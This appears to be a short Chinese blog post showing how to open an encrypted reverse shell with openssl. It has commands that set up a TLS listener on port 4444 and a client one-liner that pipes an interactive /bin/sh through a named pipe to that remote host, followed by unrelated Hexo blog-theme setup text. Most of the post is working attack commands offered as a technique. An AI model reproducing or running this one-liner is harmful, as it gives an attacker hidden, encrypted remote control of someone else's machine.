利用openssl反弹shell

server

1
2
3
4
openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes

openssl s_server -accept 4444 -key server.pem -cert server.pem

client

1
2
3
4
5
6
$ mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -connect pytscan_node10:4444 > /tmp/s; rm /tmp/s;
depth=0 C = AU, ST = Some-State, O = Internet Widgits Pty Ltd
verify error:num=18:self signed certificate
verify return:1
depth=0 C = AU, ST = Some-State, O = Internet Widgits Pty Ltd
verify return:1

upload successful

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true